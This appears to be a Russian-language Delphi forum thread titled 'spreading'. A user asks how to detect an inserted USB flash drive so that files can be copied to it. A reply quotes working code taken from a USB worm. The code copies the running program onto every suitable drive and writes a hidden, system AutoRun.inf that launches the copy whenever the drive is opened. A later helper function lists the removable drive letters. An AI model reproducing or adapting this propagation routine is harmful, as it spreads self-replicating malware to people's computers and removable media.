Распространениех[delphi]

Всем привет! Подскажите как проверить "занятость" usbустройства, т.е. типа того:

Code:

Если в порте есть флэшка, то копировать

 

Code:

function GetLogicalDriveStrings(nBufferLength: INTEGER; lpBuffer: PChar): INTEGER; stdcall; external kernel32 name 'GetLogicalDriveStringsA';
function GetDriveType(lpRootPathName: PChar): INTEGER; stdcall; external kernel32 name 'GetDriveTypeA';

Вот кусок кода одного из usb worm'ов:

Code:

function WindowProc(wnd:Integer; Msg : Integer; Wparam:Longint; Lparam:Longint):LongInt; stdcall;
var
    B : integer;
   i1 : integer;
   i2 : integer;
   i3 : integer;
   i4 : integer;
   F1 : pathbuf;
   F2 : pathbuf;
   F3 : pathbuf;
   F4 : pathbuf;
   FH : integer;
  Buf : array [0..95] of char;
Begin
if Msg=275 then
begin
  GetModuleFileName(0,F1,MAX_PATH);
  GetLogicalDriveStrings(96,Buf);
  for i1:=0 to 25 do
  if Buf[i1*4+2]<>#92 then break;
  if Buf[0]=#65 then i4:=1 else i4:=0;
  for i2:=i4 to i1-1 do
    begin
      i3:=GetDriveType(@Buf[i2*4]);
      if  (i3<>0)
      and (i3<>1)
      and (i3<>5)
      and (not SysVolInfExists(@Buf[i2*4])) then
      begin
        LStrCpy(F2,#0);
        LStrCat(F2,@Buf[i2*4]);
        LStrCat(F2,NameWorm);
        LStrCpy(F3,#0);
        LStrCat(F3,@Buf[i2*4]);
        LStrCat(F3,'AutoRun.inf');
        if not FileExists(F2) or FileExists(F3) then
          begin
            CopyFileX(F1,F2);
            LStrCpy(F4,#0);
            LStrCat(F4,'[AutoRun]'#13#10'open=');
            LStrCat(F4,NameWorm);
            LStrCat(F4,#13#10'shell\open\Command=');
            LStrCat(F4,NameWorm);
            LStrCat(F4,#13#10'shell\open\Default=1'#13#10'shell\explore\Command=');
            LStrCat(F4,NameWorm);
            FH := CreateFile(F3, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
            WriteFile(FH, F4[0], 116, B, nil);
            CloseHandle(FH);
            SetFileAttributes(F3,$22);
          end;
      end;
    end;
end
else Result:=DefWindowProc(wnd,msg,wparam,lparam);
End;

 

Вот, нашел решение проблемы: функция выдает строку с буквами устройств

Code:

function GetRemovableDrives: string;
var
d: dword;
b: byte;
begin
result := '';
d := GetLogicalDrives;
for b := 2 to 26 do
if 1 shl b and d > 0 then
if GetDriveType(PChar(chr(b+65)+':\')) = DRIVE_REMOVABLE then
result := result + chr(b+65);
end;